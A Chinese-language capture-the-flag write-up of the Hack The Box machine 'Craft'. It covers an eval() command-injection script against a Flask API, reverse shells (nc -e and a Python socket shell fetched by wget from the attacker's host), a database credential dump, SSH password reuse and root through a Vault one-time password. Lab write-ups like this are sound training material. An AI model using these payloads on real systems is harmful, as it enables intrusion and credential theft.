hackthebox-Craft

hackthebox:https://www.hackthebox.eu/home/machines/profile/197

将Hackthebox ip添加入hosts文件

1
echo "10.10.10.110 craft.htb" >> /etc/hosts

recon

nmap进行扫描

1
2
nmap -sV -sT -sC craft.htb
-sC 根据端口识别的服务,调用默认脚本。

开放22443端口。

访问https://craft.htb提示

Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a mobile app to interface with our public rest API as well as a brew submission process, but for now, check out our API!

应该是存在REST的漏洞

在网页上随便点击,发现跳转到https://api.craft.htb/api/https://gogs.craft.htb/都无法正常响应,在/etc/hosts/文件中添加这两个文件才能访问它。

1
2
$ echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts
$ echo "10.10.10.110 api.craft.htb" >> /etc/hosts

添加后再次访问

出于好奇,我检查了漏洞Gogs并发现了CVE-2018-18925和CVE-2018-20303:

Gogs 0.11.66允许远程执行代码,因为它不能正确验证会话ID,如file.go中文件会话提供程序中的“ ..”会话文件伪造所证明的。 https://nvd.nist.gov/vuln/detail/CVE-2018-18925

在0.11.82.1218之前的Gogs中的pkg / tool / path.go中,文件上载功能中的目录遍历可以使攻击者在服务器上的数据/会话下创建文件。 https://nvd.nist.gov/vuln/detail/CVE-2018-20303

漏洞利用程序(GogsOwnz)也是可用的,并允许在Gogs / Gitea服务器上获得管理员权限和RCE。

不幸的是,gogs.craft.htb显示的页脚表明所使用的版本不是易受攻击的版本:

© 2018 Gogs 当前版本: 0.11.86.0130 页面: 4ms 模板: 0ms

这确认我们的入口点可能是api。让我们调查一下。

既然我们有代码源,它将极大地帮助我们进行调查。该API在带有Flask框架的Python中使用。

让我们克隆它以更轻松地检查代码:

1
GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git

RCE

在API上远程执行代码

进行静态代码分析时,我要做的第一件事是检查是否使用了危险功能并将其用于命令注入。这是将贝壳放在盒子上的最简单方法。
如果此搜索没有给出任何结果,我将继续进行SQL注入等等。

在Python中引入命令注入漏洞的最常见方式是通过eval()函数来运行程序中的python代码(作为参数传递)。

一个快速的grep告诉我们在API中是否使用了此类功能:

1
2
$ grep -ri "eval" craft-api
craft-api/craft_api/api/brew/endpoints/brew.py: if eval('%s > 1' % request.json['abv']):

发现存在eval函数的点,查看brew.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""

# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201

任何在request abv参数中发送的Python代码都将被解释。不幸的是,@auth.auth_required告知我们在使用此易受攻击的端点之前,我们首先需要一种对自己进行身份验证的方法。

阅读文档和代码源后,似乎没有任何方法可以创建一个新帐户或使用已经制成的令牌对API进行身份验证。我们需要找到另一种验证方式。

由于我们有权访问git存储库,因此我们可以尝试利用git/svn存储库中的常见缺陷。最常见的问题是开发人员不小心将API密钥,令牌或密码推送到存储库

有一些好工具,例如truffleHoggit-secrets允许自动检索意外提交的机密和凭据。(我试了这两个工具都没能检出)

由于历史记录中只有6个提交,因此我们可以手动对其进行检查,以确保我们不会忘记任何内容。在提交时,a2d28ed155我们发现了一个有趣的commit:

1
2
3
4
$ curl "https://api.craft.htb/api/auth/login" -k --user dinesh:4aUh0A8PbVJxgd
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNTc5ODMwfQ.JpQJlqqc_pYA6Pd3ILx4zDOaXSPYwJ6yMELyIWXDDCE"}
$ curl -H "X-Craft-Api-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNTc5ODMwfQ.JpQJlqqc_pYA6Pd3ILx4zDOaXSPYwJ6yMELyIWXDDCE" "https://api.craft.htb/api/auth/check" -k
{"message":"Token is valid!"}

我们已通过认证!请注意,此API不使用通常的Authorization: Bearer <token>标头,而是使用格式的自定义标头X-Craft-Api-Token: <token>。很容易忽略这一点,这就是为什么花时间阅读代码并理解应用程序的内部工作原理很重要的原因。

1
2
# craft_api/api/auth/endpoints/auth.py
token = request.headers['X-Craft-Api-Token']

现在,我们拥有执行命令注入所需的所有信息。

由于我们需要在brew端点上进行身份验证并执行多个查询,因此我决定编写一个脚本以避免编写上千个curl请求。

由于craft-api/tests/test.py已经提供了坚实的基础,因此无需从头开始。我对其进行了一些微调,以最终得到以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = {'X-Craft-API-Token': token, 'Content-Type': 'application/json'}

response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text) # make sure token is valid

while True:
cmd = input('> ')

brew_dict = {}
brew_dict['abv'] = '__import__("os").popen("{}").read()'.format(cmd)
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

由于eval()将运行任何python代码,因此我们将使用此lambda函数__import__("os").popen("CMD").read()从python代码运行os命令。

我添加了一个,input('> ')因此我们只需要键入命令即可在API上运行它。

但是,我们没有任何可用的输出,那么我们如何知道命令已成功执行?

使用基于时间的注入;)

我们将注入一个sleep 5命令:

  • 如果API挂起5秒钟,则表明我们的命令已成功执行
  • 如果API立即响应,则注入失败。

使用requestselapsed.total_seconds()函数,我们可以显示成功请求所花费的时间。

我将其添加到脚本中,以便我们可以轻松查看sleep 5注入是否工作正常。

1
2
[...]
print("Execution time: {}".format(response.elapsed.total_seconds()))

Let's it give a try:

1
2
3
4
5
6
7
8
$ python test.py
{"message":"Token is valid!"}

> test
Execution time: 0.147798
> sleep 5
Execution time: 5.158874
>

执行语句

1
brew_dict['abv'] = '__import__("os").popen("{} && sleep 5").read()'.format(cmd)

由于wget --help命令执行需要3秒钟,因此这意味着命令可以正常运行。虽然curl --help失败了,sleep 3没有开始的意思curl是不是可能没有安装。

1
2
3
4
5
6
7
$ python test.py
{"message":"Token is valid!"}

> curl --help
Execution time: 0.162407
> wget --help
Execution time: 3.160078

这个小技巧将使我们获得宝贵的反馈,以了解我们的命令是成功还是失败。

让我们尝试打开我们经典的反向shell

1
2
$ nc -l -vv -p 8585
Listening on any address 8585

并在API上启动我们的测试脚本:

1
2
3
4
5
6
7
8
$ python test.py
{"message":"Token is valid!"}

> nc -e /bin/sh 10.10.10.85 8585
Execution time: 0.218422
> nc --help
Execution time: 4.412322
>

奇怪的是,这nc似乎不起作用,但似乎已安装。这很奇怪,但是让我们继续使用另一种类型的反向外壳。由于我们确定已经安装了python,因此我们使用python反向外壳。

为了简化操作,我们启动一个小型http服务器来托管我们的python反向shell文件:

1
2
3
4
5
6
7
8
9
10
$ cat hg8.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.85",8585));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

回到我们的原始终端,让我们启动注入:

1
2
3
4
5
6
$ python test.py
{"message":"Token is valid!"}

wget 10.10.14.33:8000/hg8.py -O /tmp/hg8.py
Execution time: 1.15602
> python /tmp/hg8.py

netcat监听

1
nc -l -vv -p 8585

注意:现在,我们已经准备就绪,可以调查为什么原始的netcat命令不起作用了。

netcat此框随附的版本为Busybox版本。手动状态:

在此版本中,-e选项必须为last。因此,如果我们运行nc 10.10.10.85 8585 -e /bin/sh而不是执行nc -e /bin/sh 10.10.10.85 8585该命令,则将成功完成。我尝试了,它起作用了。奇怪,但对未来要牢记。

docker to Physical Machines

现在回到我们的主题。我们在API上获得了shell。不幸的是,正如您在id命令中注意到的那样,似乎我们在docker容器中。

发现数据库信息

尝试访问数据库

1
2
/opt/app # mysql
/bin/sh: mysql: not found

当然,在这个监狱里也没有mysql可用……早些时候我注意到一个数据库测试脚本。由于没有其他可用的内容,我们将使用此python脚本进行编辑。首先,让我们列出表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
import pymysql
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT table_name FROM information_schema.tables;"
cursor.execute(sql)
result = cursor.fetchall()
for row in result:
print(row)

finally:
connection.close()

运行此脚本将返回两个表:brewusers。当然,让我们通过编辑dbtest.py脚本列出用户:

1
2
- sql = "SELECT table_name FROM information_schema.tables;"
+ sql = "SELECT * FROM user;"
1
2
3
4
/opt/app # python dbtest.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

有几个使用纯文本密码的用户:

  • 尝试每个ssh都行不通。
  • 不能用作API凭证

所以剩下的就是回到Gogs实例。登录为gilfoyle可让我们访问一个非常有趣的私有存储库:

让我们克隆它来探索它:

1
$ GIT_SSL_NO_VERIFY=true git clone https://gilfoyle:ZEU3N8WNM2rh4T@gogs.craft.htb/gilfoyle/craft-infra.git

首先引起注意的是同时.ssh包含公钥和私钥的文件夹。我们应该能够使用gilfoyle通过SSH 进行登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ chmod 600 .ssh/id_rsa
$ ssh gilfoyle@craft.htb -i id_rsa

. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

Last login: Sun Oct 20 06:26:05 2019 from 10.10.15.50
gilfoyle@craft:~$

密钥需要一个密码短语id_rsa,幸运的是,我们遇到了密码重用的情况,并且ZEU3N8WNM2rh4T在数据库转储中找到的密码是有效的。

1
2
gilfoyle@craft:~$ cat user.txt
bbfxxxxxxxxxxxxxa612d4

Elevation

对用户而言,gilfoyle没有什么特别吸引眼球的,并且该盒的配置似乎不错。枚举后,我们仍然注意到一个不常见的ssh配置:

1
2
3
4
gilfoyle@craft:~$ cat /etc/ssh/sshd_config
[...]
PermitRootLogin yes
[...]

检查主目录中的文件还会显示一个可能有用的令牌:

1
2
3
4
gilfoyle@craft:~$ ls -a
. .. .bashrc .config .gnupg .profile .ssh user.txt .vault-token .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

我们再次注意到这与Vault有关,我们已经在craft-infra存储库中看到了它。挖吧

我对Vault一无所知,因此我检查了他们的网站:

用于秘密管理,加密即服务和特权访问管理的工具 https://www.vaultproject.io/

利用Vault获取SSH根密码

该文件craft-infra/src/master/vault/secrets.shcraft-infra仓库看起来很有希望:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0

它确认Vault是用于ssh访问root的。key_type=otp似乎意味着它是一种一次性密码机制。

经过一番谷歌搜索,我们在Vault上找到了以下文档:

一次性SSH密码(OTP)SSH机密引擎类型允许Vault服务器每次客户端希望使用远程主机上的helper命令通过SSH进入远程主机时执行一次一次性密码。 https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

好了,我们有所有需要的信息。让我们为根帐户生成一个一次性密码!

从这里开始,我将遵循上面链接的文档。首先,我们需要安装秘密引擎:

1
2
3
> gilfoyle@craft:~$ vault secrets enable ssh
> Successfully mounted 'ssh' at 'ssh'!
>

然后,我们创建一个key_type参数设置为的角色otp。我将使用与输入相同的命令craft-infra/src/master/vault/secrets.sh来确保我们不会丢失任何内容:

1
2
3
4
5
gilfoyle@craft:~$ vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
Success! Data written to: ssh/roles/root_otp

下一步,我们为属于以下主机的远程主机的IP创建OTP凭据otp_key_role

1
2
3
4
5
6
7
8
9
10
11
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110
Key Value
--- -----
lease_id ssh/creds/root_otp/15c8d88c-4e1a-6ec6-4cbb-616cf25e1a7d
lease_duration 768h
lease_renewable false
ip 10.10.10.110
key 3d32eb8a-61b1-3376-4402-dd15e72206f8
key_type otp
port 22
username root

一切顺利。让我们启动一个新终端并尝试以以下身份登录root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ssh root@craft.htb

. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

Last login: Sun Oct 20 06:10:03 2019 from 127.0.0.1
root@craft:~#
root@craft:~# cat root.txt
831dxxxxxxxxxxx11591

-------------本文结束感谢您的阅读-------------